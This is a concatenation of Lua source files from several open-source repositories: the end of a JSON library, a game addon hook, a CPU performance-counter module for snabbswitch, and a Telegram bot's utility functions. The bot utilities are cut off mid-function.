'{' then self:onDecodeError("expected '{'", text, start, etc) end local i = skip_whitespace(text, start + 1) -- +1 to skip the '{' local VALUE = self.strictTypes and self:newObject { } or { } if text:sub(i,i) == '}' then return VALUE, i + 1 end local text_len = text:len() while i <= text_len do local key, new_i = grok_string(self, text, i, etc) i = skip_whitespace(text, new_i) if text:sub(i, i) ~= ':' then self:onDecodeError("expected colon", text, i, etc) end i = skip_whitespace(text, i + 1) local new_val, new_i = grok_one(self, text, i) VALUE[key] = new_val -- -- Expect now either '}' to end things, or a ',' to allow us to continue. -- i = skip_whitespace(text, new_i) local c = text:sub(i,i) if c == '}' then return VALUE, i + 1 end if text:sub(i, i) ~= ',' then self:onDecodeError("expected comma or '}'", text, i, etc) end i = skip_whitespace(text, i + 1) end self:onDecodeError("unclosed '{'", text, start, etc) end local function grok_array(self, text, start, etc) if text:sub(start,start) ~= '[' then self:onDecodeError("expected '['", text, start, etc) end local i = skip_whitespace(text, start + 1) -- +1 to skip the '[' local VALUE = self.strictTypes and self:newArray { } or { } if text:sub(i,i) == ']' then return VALUE, i + 1 end local VALUE_INDEX = 1 local text_len = text:len() while i <= text_len do local val, new_i = grok_one(self, text, i) -- can't table.insert(VALUE, val) here because it's a no-op if val is nil VALUE[VALUE_INDEX] = val VALUE_INDEX = VALUE_INDEX + 1 i = skip_whitespace(text, new_i) -- -- Expect now either ']' to end things, or a ',' to allow us to continue. -- local c = text:sub(i,i) if c == ']' then return VALUE, i + 1 end if text:sub(i, i) ~= ',' then self:onDecodeError("expected comma or '['", text, i, etc) end i = skip_whitespace(text, i + 1) end self:onDecodeError("unclosed '['", text, start, etc) end grok_one = function(self, text, start, etc) -- Skip any whitespace start = skip_whitespace(text, start) if start > text:len() then self:onDecodeError("unexpected end of string", text, nil, etc) end if text:find('^"', start) then return grok_string(self, text, start, etc) elseif text:find('^[-0123456789 ]', start) then return grok_number(self, text, start, etc) elseif text:find('^%{', start) then return grok_object(self, text, start, etc) elseif text:find('^%[', start) then return grok_array(self, text, start, etc) elseif text:find('^true', start) then return true, start + 4 elseif text:find('^false', start) then return false, start + 5 elseif text:find('^null', start) then return nil, start + 4 else self:onDecodeError("can't parse JSON", text, start, etc) end end function OBJDEF:decode(text, etc) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onDecodeError("JSON:decode must be called in method format", nil, nil, etc) end if text == nil then self:onDecodeOfNilError(string.format("nil passed to JSON:decode()"), nil, nil, etc) elseif type(text) ~= 'string' then self:onDecodeError(string.format("expected string argument to JSON:decode(), got %s", type(text)), nil, nil, etc) end if text:match('^%s*$') then return nil end if text:match('^%s*<') then -- Can't be JSON... we'll assume it's HTML self:onDecodeOfHTMLError(string.format("html passed to JSON:decode()"), text, nil, etc) end -- -- Ensure that it's not UTF-32 or UTF-16. -- Those are perfectly valid encodings for JSON (as per RFC 4627 section 3), -- but this package can't handle them. -- if text:sub(1,1):byte() == 0 or (text:len() >= 2 and text:sub(2,2):byte() == 0) then self:onDecodeError("JSON package groks only UTF-8, sorry", text, nil, etc) end local success, value = pcall(grok_one, self, text, 1, etc) if success then return value else -- if JSON:onDecodeError() didn't abort out of the pcall, we'll have received the error message here as "value", so pass it along as an assert. if self.assert then self.assert(false, value) else assert(false, value) end -- and if we're still here, return a nil and throw the error message on as a second arg return nil, value end end local function backslash_replacement_function(c) if c == "\n" then return "\\n" elseif c == "\r" then return "\\r" elseif c == "\t" then return "\\t" elseif c == "\b" then return "\\b" elseif c == "\f" then return "\\f" elseif c == '"' then return '\\"' elseif c == '\\' then return '\\\\' else return string.format("\\u%04x", c:byte()) end end local chars_to_be_escaped_in_JSON_string = '[' .. '"' -- class sub-pattern to match a double quote .. '%\\' -- class sub-pattern to match a backslash .. '%z' -- class sub-pattern to match a null .. '\001' .. '-' .. '\031' -- class sub-pattern to match control characters .. ']' local function json_string_literal(value) local newval = value:gsub(chars_to_be_escaped_in_JSON_string, backslash_replacement_function) return '"' .. newval .. '"' end local function object_or_array(self, T, etc) -- -- We need to inspect all the keys... if there are any strings, we'll convert to a JSON -- object. If there are only numbers, it's a JSON array. -- -- If we'll be converting to a JSON object, we'll want to sort the keys so that the -- end result is deterministic. -- local string_keys = { } local number_keys = { } local number_keys_must_be_strings = false local maximum_number_key for key in pairs(T) do if type(key) == 'string' then table.insert(string_keys, key) elseif type(key) == 'number' then table.insert(number_keys, key) if key <= 0 or key >= math.huge then number_keys_must_be_strings = true elseif not maximum_number_key or key > maximum_number_key then maximum_number_key = key end else self:onEncodeError("can't encode table with a key of type " .. type(key), etc) end end if #string_keys == 0 and not number_keys_must_be_strings then -- -- An empty table, or a numeric-only array -- if #number_keys > 0 then return nil, maximum_number_key -- an array elseif tostring(T) == "JSON array" then return nil elseif tostring(T) == "JSON object" then return { } else -- have to guess, so we'll pick array, since empty arrays are likely more common than empty objects return nil end end table.sort(string_keys) local map if #number_keys > 0 then -- -- If we're here then we have either mixed string/number keys, or numbers inappropriate for a JSON array -- It's not ideal, but we'll turn the numbers into strings so that we can at least create a JSON object. -- if self.noKeyConversion then self:onEncodeError("a table with both numeric and string keys could be an object or array; aborting", etc) end -- -- Have to make a shallow copy of the source table so we can remap the numeric keys to be strings -- map = { } for key, val in pairs(T) do map[key] = val end table.sort(number_keys) -- -- Throw numeric keys in there as strings -- for _, number_key in ipairs(number_keys) do local string_key = tostring(number_key) if map[string_key] == nil then table.insert(string_keys , string_key) map[string_key] = T[number_key] else self:onEncodeError("conflict converting table with mixed-type keys into a JSON object: key " .. number_key .. " exists both as a string and a number.", etc) end end end return string_keys, nil, map end -- -- Encode -- -- 'options' is nil, or a table with possible keys: -- pretty -- if true, return a pretty-printed version -- indent -- a string (usually of spaces) used to indent each nested level -- align_keys -- if true, align all the keys when formatting a table -- local encode_value -- must predeclare because it calls itself function encode_value(self, value, parents, etc, options, indent) if value == nil then return 'null' elseif type(value) == 'string' then return json_string_literal(value) elseif type(value) == 'number' then if value ~= value then -- -- NaN (Not a Number). -- JSON has no NaN, so we have to fudge the best we can. This should really be a package option. -- return "null" elseif value >= math.huge then -- -- Positive infinity. JSON has no INF, so we have to fudge the best we can. This should -- really be a package option. Note: at least with some implementations, positive infinity -- is both ">= math.huge" and "<= -math.huge", which makes no sense but that's how it is. -- Negative infinity is properly "<= -math.huge". So, we must be sure to check the ">=" -- case first. -- return "1e+9999" elseif value <= -math.huge then -- -- Negative infinity. -- JSON has no INF, so we have to fudge the best we can. This should really be a package option. -- return "-1e+9999" else return tostring(value) end elseif type(value) == 'boolean' then return tostring(value) elseif type(value) ~= 'table' then self:onEncodeError("can't convert " .. type(value) .. " to JSON", etc) else -- -- A table to be converted to either a JSON object or array. -- local T = value if type(options) ~= 'table' then options = {} end if type(indent) ~= 'string' then indent = "" end if parents[T] then self:onEncodeError("table " .. tostring(T) .. " is a child of itself", etc) else parents[T] = true end local result_value local object_keys, maximum_number_key, map = object_or_array(self, T, etc) if maximum_number_key then -- -- An array... -- local ITEMS = { } for i = 1, maximum_number_key do table.insert(ITEMS, encode_value(self, T[i], parents, etc, options, indent)) end if options.pretty then result_value = "[ " .. table.concat(ITEMS, ", ") .. " ]" else result_value = "[" .. table.concat(ITEMS, ",") .. "]" end elseif object_keys then -- -- An object -- local TT = map or T if options.pretty then local KEYS = { } local max_key_length = 0 for _, key in ipairs(object_keys) do local encoded = encode_value(self, tostring(key), parents, etc, options, indent) if options.align_keys then max_key_length = math.max(max_key_length, #encoded) end table.insert(KEYS, encoded) end local key_indent = indent .. tostring(options.indent or "") local subtable_indent = key_indent .. string.rep(" ", max_key_length) .. (options.align_keys and " " or "") local FORMAT = "%s%" .. string.format("%d", max_key_length) .. "s: %s" local COMBINED_PARTS = { } for i, key in ipairs(object_keys) do local encoded_val = encode_value(self, TT[key], parents, etc, options, subtable_indent) table.insert(COMBINED_PARTS, string.format(FORMAT, key_indent, KEYS[i], encoded_val)) end result_value = "{\n" .. table.concat(COMBINED_PARTS, ",\n") .. "\n" .. indent .. "}" else local PARTS = { } for _, key in ipairs(object_keys) do local encoded_val = encode_value(self, TT[key], parents, etc, options, indent) local encoded_key = encode_value(self, tostring(key), parents, etc, options, indent) table.insert(PARTS, string.format("%s:%s", encoded_key, encoded_val)) end result_value = "{" .. table.concat(PARTS, ",") .. "}" end else -- -- An empty array/object... we'll treat it as an array, though it should really be an option -- result_value = "[]" end parents[T] = false return result_value end end function OBJDEF:encode(value, etc, options) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onEncodeError("JSON:encode must be called in method format", etc) end return encode_value(self, value, {}, etc, options or nil) end function OBJDEF:encode_pretty(value, etc, options) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onEncodeError("JSON:encode_pretty must be called in method format", etc) end return encode_value(self, value, {}, etc, options or default_pretty_options) end function OBJDEF.__tostring() return "JSON encode/decode package" end OBJDEF.__index = OBJDEF function OBJDEF:new(args) local new = { } if args then for key, val in pairs(args) do new[key] = val end end return setmetatable(new, OBJDEF) end return OBJDEF:new() -- -- Version history: -- -- 20141223.14 The encode_pretty() routine produced fine results for small datasets, but isn't really -- appropriate for anything large, so with help from Alex Aulbach I've made the encode routines -- more flexible, and changed the default encode_pretty() to be more generally useful. -- -- Added a third 'options' argument to the encode() and encode_pretty() routines, to control -- how the encoding takes place. -- -- Updated docs to add assert() call to the loadfile() line, just as good practice so that -- if there is a problem loading JSON.lua, the appropriate error message will percolate up. -- -- 20140920.13 Put back (in a way that doesn't cause warnings about unused variables) the author string, -- so that the source of the package, and its version number, are visible in compiled copies. -- -- 20140911.12 Minor lua cleanup. -- Fixed internal reference to 'JSON.noKeyConversion' to reference 'self' instead of 'JSON'. -- (Thanks to SmugMug's David Parry for these.) -- -- 20140418.11 JSON nulls embedded within an array were being ignored, such that -- ["1",null,null,null,null,null,"seven"], -- would return -- {1,"seven"} -- It's now fixed to properly return -- {1, nil, nil, nil, nil, nil, "seven"} -- Thanks to "haddock" for catching the error. -- -- 20140116.10 The user's JSON.assert() wasn't always being used. Thanks to "blue" for the heads up. -- -- 20131118.9 Update for Lua 5.3... it seems that tostring(2/1) produces "2.0" instead of "2", -- and this caused some problems. -- -- 20131031.8 Unified the code for encode() and encode_pretty(); they had been stupidly separate, -- and had of course diverged (encode_pretty didn't get the fixes that encode got, so -- sometimes produced incorrect results; thanks to Mattie for the heads up). -- -- Handle encoding tables with non-positive numeric keys (unlikely, but possible). -- -- If a table has both numeric and string keys, or its numeric keys are inappropriate -- (such as being non-positive or infinite), the numeric keys are turned into -- string keys appropriate for a JSON object. So, as before, -- JSON:encode({ "one", "two", "three" }) -- produces the array -- ["one","two","three"] -- but now something with mixed key types like -- JSON:encode({ "one", "two", "three", SOMESTRING = "some string" })) -- instead of throwing an error produces an object: -- {"1":"one","2":"two","3":"three","SOMESTRING":"some string"} -- -- To maintain the prior throw-an-error semantics, set -- JSON.noKeyConversion = true -- -- 20131004.7 Release under a Creative Commons CC-BY license, which I should have done from day one, sorry. -- -- 20130120.6 Comment update: added a link to the specific page on my blog where this code can -- be found, so that folks who come across the code outside of my blog can find updates -- more easily. -- -- 20111207.5 Added support for the 'etc' arguments, for better error reporting. -- -- 20110731.4 More feedback from David Kolf on how to make the tests for Nan/Infinity system independent. -- -- 20110730.3 Incorporated feedback from David Kolf at http://lua-users.org/wiki/JsonModules: -- -- * When encoding lua for JSON, Sparse numeric arrays are now handled by -- spitting out full arrays, such that -- JSON:encode({"one", "two", [10] = "ten"}) -- returns -- ["one","two",null,null,null,null,null,null,null,"ten"] -- -- In 20100810.2 and earlier, only up to the first non-null value would have been retained. -- -- * When encoding lua for JSON, numeric value NaN gets spit out as null, and infinity as "1+e9999". -- Version 20100810.2 and earlier created invalid JSON in both cases. -- -- * Unicode surrogate pairs are now detected when decoding JSON. -- -- 20100810.2 added some checking to ensure that an invalid Unicode character couldn't leak in to the UTF-8 encoding -- -- 20100731.1 initial public release --
gpl-2.0
gwx/tome-grayswandir-weird-wyrmic
data/libs/callback-inflict-effect-0.lua
2
1170
-- Gray's Illusions, for Tales of Maj'Eyal. -- -- This program is free software: you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation, either version 3 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program. If not, see <http://www.gnu.org/licenses/>. lib.require 'effect-source' superload('mod.class.Actor', function(_M) _M.sustainCallbackCheck.callbackOnInflictTemporaryEffect = 'talents_on_inflict_temporary_effect' local on_set_temporary_effect = _M.on_set_temporary_effect function _M:on_set_temporary_effect(eff_id, e, p) on_set_temporary_effect(self, eff_id, e, p) if p.src and p.src.fireTalentCheck then p.src:fireTalentCheck('callbackOnInflictTemporaryEffect', eff_id, e, p) end end end)
gpl-3.0
snabbnfv-goodies/snabbswitch
src/lib/pmu.lua
7
10818
-- pmu.lua: Lua interface to the CPU Performance Monitoring Unit module(..., package.seeall) -- This module counts and reports on CPU events such as cache misses, -- branch mispredictions, utilization of internal CPU resources such -- as execution units, and so on. -- -- Hundreds of low-level counters are available. The exact list -- depends on CPU model. See pmu_cpu.lua for our definitions. -- -- API: -- -- profile(fn[, event_list, aux]) => value [and print report] -- Execute 'fn' and print a measurement report for event_list. -- This is a simple convenience function over the API below. -- -- measure(fn[, event_list]) => result, table {counter->value} -- Execute 'fn' and return the event counters as a second value. -- This is a convenience similar to profile(). -- -- is_available() => true | false, why -- Return true if hardware performance counters are available. -- Otherwise return false with a string briefly explaining why. -- -- setup(event_list) -- Setup the hardware performance counters to track a given list of -- events (in addition to the built-in fixed-function counters). -- -- Each event is a Lua string pattern. This could be a full event name: -- 'mem_load_uops_retired.l1_hit' -- or a more general pattern that matches several counters: -- 'mem_load.*l._hit' -- -- Return the number of overflowed counters that could not be -- tracked due to hardware constraints. These will be the last -- counters in the list. -- -- Example: -- setup({"uops_issued.any", -- "uops_retired.all", -- "br_inst_retired.conditional", -- "br_misp_retired.all_branches"}) => 0 -- -- new_counter_set() -- Return a "counter_set" object that can be used for accumulating events. -- -- The counter_set will be valid only until the next call to setup(). -- -- switch_to(counter_set) -- Switch_To to a new set of counters to accumulate events in. Has the -- side-effect of committing the current accumulators to the -- previous record. -- -- If counter_set is nil then do not accumulate events. -- -- to_table(counter_set) => table {eventname = count} -- Return a table containing the values accumulated in the counter set. -- -- Example: -- to_table(cs) => -- { -- -- Fixed-function counters -- instructions = 133973703, -- cycles = 663011188, -- ref-cycles = 664029720, -- -- General purpose counters selected with setup() -- uops_issued.any = 106860997, -- uops_retired.all = 106844204, -- br_inst_retired.conditional = 26702830, -- br_misp_retired.all_branches = 419 -- } -- -- report(counter_set, aux) -- Print a textual report on the values accumulated in a counter set. -- Optionally include auxiliary application-level counters. The -- ratio of each event to each auxiliary counter is also reported. -- -- Example: -- report(my_counter_set, {packet = 26700000, breath = 208593}) -- prints output approximately like: -- EVENT TOTAL /packet /breath -- instructions 133,973,703 5.000 642.000 -- cycles 663,011,188 24.000 3178.000 -- ref-cycles 664,029,720 24.000 3183.000 -- uops_issued.any 106,860,997 4.000 512.000 -- uops_retired.all 106,844,204 4.000 512.000 -- br_inst_retired.conditional 26,702,830 1.000 128.000 -- br_misp_retired.all_branches 419 0.000 0.000 -- packet 26,700,000 1.000 128.000 -- breath 208,593 0.008 1.000 local pmu_cpu = require("lib.pmu_cpu") local pmu_x86 = require("lib.pmu_x86") local ffi = require("ffi") local lib = require("core.lib") local S = require("syscall") -- defs: counter definitions -- nil => not initialized -- false => none available -- table => name->code mappings local defs = nil -- enabled: array of names of the enabled counters local enabled = nil -- Scan the counter definitions for the set of counters that are -- available on the running CPU. local function scan_available_counters () if defs then return defs end for i, set in ipairs(pmu_cpu) do local cpu, version, kind, list = unpack(set) -- XXX Only supporting "core" counters at present i.e. the -- counters built into the CPU core. if cpu == pmu_x86.cpu_model and kind == 'core' then defs = defs or {} for k, v in pairs(list) do defs[k] = v end end end defs = defs or false end -- Return an array containing the CPUs that we have affinity with. local function cpu_set () local t = {} local set = S.sched_getaffinity() for i = 0, 63 do if set:get(i) then table.insert(t, i) end end return t end -- Return true if PMU functionality is available. -- Otherwise return false and a string explaining why. function is_available () if #cpu_set() ~= 1 then return false, "single core cpu affinity required" end if not S.stat("/dev/cpu/0/msr") then print("[pmu: /sbin/modprobe msr]") os.execute("/sbin/modprobe msr") if not S.stat("/dev/cpu/0/msr") then return false, "requires /dev/cpu/*/msr (Linux 'msr' module)" end end scan_available_counters() if not defs then return false, "CPU not recognized: " .. pmu_x86.cpu_model end return true end counter_set_t = ffi.typeof("int64_t [$]", pmu_x86.ncounters) function new_counter_set () return ffi.new(counter_set_t) end function to_table (set) local t = {} for i = 1, #enabled do t[enabled[i]] = tonumber(set[i-1]) end return t end local current_counter_set = nil local base_counters = ffi.new(counter_set_t) local tmp_counters = ffi.new(counter_set_t) function switch_to (set) -- Credit the previous counter set for its events if current_counter_set then pmu_x86.rdpmc_multi(tmp_counters) for i = 0, pmu_x86.ncounters-1 do local v = tmp_counters[i] - base_counters[i] -- Account for wrap-around of the 40-bit counter value. if v < 0 then v = v + bit.lshift(1, 40) end current_counter_set[i] = current_counter_set[i] + v end end -- Switch_To to the new set and "start the clock" current_counter_set = set pmu_x86.rdpmc_multi(base_counters) end -- API function (see above) function setup (patterns) local avail, err = is_available() if not avail then error("PMU not available: " .. err) end local set = {} for event in pairs(defs) do for _, pattern in pairs(patterns or {}) do if event:match(pattern) then table.insert(set, event) end end table.sort(set) end local ndropped = math.max(0, #set - pmu_x86.ngeneral) while (#set - pmu_x86.ngeneral) > 0 do table.remove(set) end local cpu = cpu_set()[1] -- All available counters are globally enabled -- (IA32_PERF_GLOBAL_CTRL). writemsr(cpu, 0x38f, bit.bor(bit.lshift(0x3ULL, 32), bit.lshift(1ULL, pmu_x86.ngeneral) - 1)) -- Enable all fixed-function counters (IA32_FIXED_CTR_CTRL) writemsr(cpu, 0x38d, 0x333) for n = 0, #set-1 do local code = defs[set[n+1]] local USR = bit.lshift(1, 16) local EN = bit.lshift(1, 22) writemsr(cpu, 0x186+n, bit.bor(0x10000, USR, EN, code)) end enabled = {"instructions", "cycles", "ref_cycles"} for i = 1, #set do table.insert(enabled, set[i]) end return ndropped end function writemsr (cpu, msr, value) local msrfile = ("/dev/cpu/%d/msr"):format(cpu) if not S.stat(msrfile) then error("Cannot open "..msrfile.." (consider 'modprobe msr')") end local fd = assert(S.open(msrfile, "rdwr")) assert(fd:lseek(msr, "set")) assert(fd:write(ffi.new("uint64_t[1]", value), 8)) fd:close() end -- API function (see above) function report (tab, aux) aux = aux or {} local data = {} for k,v in pairs(tab) do table.insert(data, {k=k,v=v}) end -- Sort fixed-purpose counters to come first in definite order local fixed = {cycles='0', ref_cycles='1', instructions='2'} table.sort(data, function(x,y) return (fixed[x.k] or x.k) < (fixed[y.k] or y.k) end) local auxnames, auxvalues = {}, {} for k,v in pairs(aux) do table.insert(auxnames,k) table.insert(auxvalues,v) end -- print titles io.write(("%-40s %14s"):format("EVENT", "TOTAL")) for i = 1, #auxnames do io.write(("%12s"):format("/"..auxnames[i])) end print() -- include aux values in results for i = 1, #auxnames do table.insert(data, {k=auxnames[i], v=auxvalues[i]}) end -- print values for i = 1, #data do io.write(("%-40s %14s"):format(data[i].k, core.lib.comma_value(data[i].v))) for j = 1, #auxnames do io.write(("%12.3f"):format(tonumber(data[i].v/auxvalues[j]))) end print() end end -- API function (see above) function measure (f, events, aux) setup(events) local set = new_counter_set() switch_to(set) local res = f() switch_to(nil) return res, to_table(set) end -- API function (see above) function profile (f, events, aux, quiet) setup(events) local set = new_counter_set() switch_to(set) local res = f() switch_to(nil) if not quiet then report(to_table(set), aux) end return res end function selftest () print("selftest: pmu") local avail, err = is_available() if not avail then print("PMU not available:") print(" "..err) print("selftest skipped") os.exit(engine.test_skipped_code) end local n = 0 if type(defs) == 'table' then for k,v in pairs(defs) do n=n+1 end end print(tostring(n).." counters found for CPU model "..pmu_x86.cpu_model) local nloop = 123456 local set = new_counter_set() local f = function () local acc = 0 for i = 0, nloop do acc = acc + 1 end return 42 end local events = {"uops_issued.any", "uops_retired.all", "br_inst_retired.conditional", "br_misp_retired.all_branches"} local aux = {packet = nloop, breath = math.floor(nloop/128)} print("testing profile()") assert(profile(f, events, aux) == 42, "profile return value") print("testing measure()") local val, tab = measure(f) assert(val == 42, "measure return value") local n = 0 for k, v in pairs(tab) do print('', k, v) n = n + 1 end assert(n == 3) print("selftest ok") end
apache-2.0
teleshadow/shadowbot
bot/utils.lua
494
23873
URL = require "socket.url" http = require "socket.http" https = require "ssl.https" ltn12 = require "ltn12" serpent = require "serpent" feedparser = require "feedparser" json = (loadfile "./libs/JSON.lua")() mimetype = (loadfile "./libs/mimetype.lua")() redis = (loadfile "./libs/redis.lua")() JSON = (loadfile "./libs/dkjson.lua")() http.TIMEOUT = 10 function get_receiver(msg) if msg.to.type == 'user' then return 'user#id'..msg.from.id end if msg.to.type == 'chat' then return 'chat#id'..msg.to.id end if msg.to.type == 'encr_chat' then return msg.to.print_name end end function is_chat_msg( msg ) if msg.to.type == 'chat' then return true end return false end function string.random(length) local str = ""; for i = 1, length do math.random(97, 122) str = str..string.char(math.random(97, 122)); end return str; end function string:split(sep) local sep, fields = sep or ":", {} local pattern = string.format("([^%s]+)", sep) self:gsub(pattern, function(c) fields[#fields+1] = c end) return fields end -- DEPRECATED function string.trim(s) print("string.trim(s) is DEPRECATED use string:trim() instead") return s:gsub("^%s*(.-)%s*$", "%1") end -- Removes spaces function string:trim() return self:gsub("^%s*(.-)%s*$", "%1") end function get_http_file_name(url, headers) -- Eg: foo.var local file_name = url:match("[^%w]+([%.%w]+)$") -- Any delimited alphanumeric on the url file_name = file_name or url:match("[^%w]+(%w+)[^%w]+$") -- Random name, hope content-type works file_name = file_name or str:random(5) local content_type = headers["content-type"] local extension = nil if content_type then extension = mimetype.get_mime_extension(content_type) end if extension then file_name = file_name.."."..extension end local disposition = headers["content-disposition"] if disposition then -- attachment; filename=CodeCogsEqn.png file_name = disposition:match('filename=([^;]+)') or file_name end return file_name end -- Saves file to /tmp/. If file_name isn't provided, -- will get the text after the last "/" for filename -- and content-type for extension function download_to_file(url, file_name) print("url to download: "..url) local respbody = {} local options = { url = url, sink = ltn12.sink.table(respbody), redirect = true } -- nil, code, headers, status local response = nil if url:starts('https') then options.redirect = false response = {https.request(options)} else response = {http.request(options)} end local code = response[2] local headers = response[3] local status = response[4] if code ~= 200 then return nil end file_name = file_name or get_http_file_name(url, headers) local file_path = "/tmp/"..file_name print("Saved to: "..file_path) file = io.open(file_path, "w+") file:write(table.concat(respbody)) file:close() return file_path end function vardump(value) print(serpent.block(value, {comment=false})) end -- taken from http://stackoverflow.com/a/11130774/3163199 function scandir(directory) local i, t, popen = 0, {}, io.popen for filename in popen('ls -a "'..directory..'"'):lines() do i = i + 1 t[i] = filename end return t end -- http://www.lua.org/manual/5.2/manual.html#pdf-io.popen function run_command(str) local cmd = io.popen(str) local result = cmd:read('*all') cmd:close() return result end -- User has privileges function is_sudo(msg) local var = false -- Check users id in config for v,user in pairs(_config.sudo_users) do if user == msg.from.id then var = true end end return var end -- Returns the name of the sender function get_name(msg) local name = msg.from.first_name if name == nil then name = msg.from.id end return name end -- Returns at table of lua files inside plugins function plugins_names( ) local files = {} for k, v in pairs(scandir("plugins")) do -- Ends with .lua if (v:match(".lua$")) then table.insert(files, v) end end return files end -- Function name explains what it does. function file_exists(name) local f = io.open(name,"r") if f ~= nil then io.close(f) return true else return false end end -- Save into file the data serialized for lua. -- Set uglify true to minify the file. function serialize_to_file(data, file, uglify) file = io.open(file, 'w+') local serialized if not uglify then serialized = serpent.block(data, { comment = false, name = '_' }) else serialized = serpent.dump(data) end file:write(serialized) file:close() end -- Returns true if the string is empty function string:isempty() return self == nil or self == '' end -- Returns true if the string is blank function string:isblank() self = self:trim() return self:isempty() end -- DEPRECATED!!!!! function string.starts(String, Start) print("string.starts(String, Start) is DEPRECATED use string:starts(text) instead") return Start == string.sub(String,1,string.len(Start)) end -- Returns true if String starts with Start function string:starts(text) return text == string.sub(self,1,string.len(text)) end -- Send image to user and delete it when finished. -- cb_function and cb_extra are optionals callback function _send_photo(receiver, file_path, cb_function, cb_extra) local cb_extra = { file_path = file_path, cb_function = cb_function, cb_extra = cb_extra } -- Call to remove with optional callback send_photo(receiver, file_path, cb_function, cb_extra) end -- Download the image and send to receiver, it will be deleted. -- cb_function and cb_extra are optionals callback function send_photo_from_url(receiver, url, cb_function, cb_extra) -- If callback not provided cb_function = cb_function or ok_cb cb_extra = cb_extra or false local file_path = download_to_file(url, false) if not file_path then -- Error local text = 'Error downloading the image' send_msg(receiver, text, cb_function, cb_extra) else print("File path: "..file_path) _send_photo(receiver, file_path, cb_function, cb_extra) end end -- Same as send_photo_from_url but as callback function function send_photo_from_url_callback(cb_extra, success, result) local receiver = cb_extra.receiver local url = cb_extra.url local file_path = download_to_file(url, false) if not file_path then -- Error local text = 'Error downloading the image' send_msg(receiver, text, ok_cb, false) else print("File path: "..file_path) _send_photo(receiver, file_path, ok_cb, false) end end -- Send multiple images asynchronous. -- param urls must be a table. function send_photos_from_url(receiver, urls) local cb_extra = { receiver = receiver, urls = urls, remove_path = nil } send_photos_from_url_callback(cb_extra) end -- Use send_photos_from_url. -- This function might be difficult to understand. function send_photos_from_url_callback(cb_extra, success, result) -- cb_extra is a table containing receiver, urls and remove_path local receiver = cb_extra.receiver local urls = cb_extra.urls local remove_path = cb_extra.remove_path -- The previously image to remove if remove_path ~= nil then os.remove(remove_path) print("Deleted: "..remove_path) end -- Nil or empty, exit case (no more urls) if urls == nil or #urls == 0 then return false end -- Take the head and remove from urls table local head = table.remove(urls, 1) local file_path = download_to_file(head, false) local cb_extra = { receiver = receiver, urls = urls, remove_path = file_path } -- Send first and postpone the others as callback send_photo(receiver, file_path, send_photos_from_url_callback, cb_extra) end -- Callback to remove a file function rmtmp_cb(cb_extra, success, result) local file_path = cb_extra.file_path local cb_function = cb_extra.cb_function or ok_cb local cb_extra = cb_extra.cb_extra if file_path ~= nil then os.remove(file_path) print("Deleted: "..file_path) end -- Finally call the callback cb_function(cb_extra, success, result) end -- Send document to user and delete it when finished. -- cb_function and cb_extra are optionals callback function _send_document(receiver, file_path, cb_function, cb_extra) local cb_extra = { file_path = file_path, cb_function = cb_function or ok_cb, cb_extra = cb_extra or false } -- Call to remove with optional callback send_document(receiver, file_path, rmtmp_cb, cb_extra) end -- Download the image and send to receiver, it will be deleted. -- cb_function and cb_extra are optionals callback function send_document_from_url(receiver, url, cb_function, cb_extra) local file_path = download_to_file(url, false) print("File path: "..file_path) _send_document(receiver, file_path, cb_function, cb_extra) end -- Parameters in ?a=1&b=2 style function format_http_params(params, is_get) local str = '' -- If is get add ? to the beginning if is_get then str = '?' end local first = true -- Frist param for k,v in pairs (params) do if v then -- nil value if first then first = false str = str..k.. "="..v else str = str.."&"..k.. "="..v end end end return str end -- Check if user can use the plugin and warns user -- Returns true if user was warned and false if not warned (is allowed) function warns_user_not_allowed(plugin, msg) if not user_allowed(plugin, msg) then local text = 'This plugin requires privileged user' local receiver = get_receiver(msg) send_msg(receiver, text, ok_cb, false) return true else return false end end -- Check if user can use the plugin function user_allowed(plugin, msg) if plugin.privileged and not is_sudo(msg) then return false end return true end function send_order_msg(destination, msgs) local cb_extra = { destination = destination, msgs = msgs } send_order_msg_callback(cb_extra, true) end function send_order_msg_callback(cb_extra, success, result) local destination = cb_extra.destination local msgs = cb_extra.msgs local file_path = cb_extra.file_path if file_path ~= nil then os.remove(file_path) print("Deleted: " .. file_path) end if type(msgs) == 'string' then send_large_msg(destination, msgs) elseif type(msgs) ~= 'table' then return end if #msgs < 1 then return end local msg = table.remove(msgs, 1) local new_cb_extra = { destination = destination, msgs = msgs } if type(msg) == 'string' then send_msg(destination, msg, send_order_msg_callback, new_cb_extra) elseif type(msg) == 'table' then local typ = msg[1] local nmsg = msg[2] new_cb_extra.file_path = nmsg if typ == 'document' then send_document(destination, nmsg, send_order_msg_callback, new_cb_extra) elseif typ == 'image' or typ == 'photo' then send_photo(destination, nmsg, send_order_msg_callback, new_cb_extra) elseif typ == 'audio' then send_audio(destination, nmsg, send_order_msg_callback, new_cb_extra) elseif typ == 'video' then send_video(destination, nmsg, send_order_msg_callback, new_cb_extra) else send_file(destination, nmsg, send_order_msg_callback, new_cb_extra) end end end -- Same as send_large_msg_callback but friendly params function send_large_msg(destination, text) local cb_extra = { destination = destination, text = text } send_large_msg_callback(cb_extra, true) end -- If text is longer than 4096 chars, send multiple msg. -- https://core.telegram.org/method/messages.sendMessage function send_large_msg_callback(cb_extra, success, result) local text_max = 4096 local destination = cb_extra.destination local text = cb_extra.text local text_len = string.len(text) local num_msg = math.ceil(text_len / text_max) if num_msg <= 1 then send_msg(destination, text, ok_cb, false) else local my_text = string.sub(text, 1, 4096) local rest = string.sub(text, 4096, text_len) local cb_extra = { destination = destination, text = rest } send_msg(destination, my_text, send_large_msg_callback, cb_extra) end end -- Returns a table with matches or nil function match_pattern(pattern, text, lower_case) if text then local matches = {} if lower_case then matches = { string.match(text:lower(), pattern) } else matches = { string.match(text, pattern) } end if next(matches) then return matches end end -- nil end -- Function to read data from files function load_from_file(file, default_data) local f = io.open(file, "r+") -- If file doesn't exists if f == nil then -- Create a new empty table default_data = default_data or {} serialize_to_file(default_data, file) print ('Created file', file) else print ('Data loaded from file', file) f:close() end return loadfile (file)() end -- See http://stackoverflow.com/a/14899740 function unescape_html(str) local map = { ["lt"] = 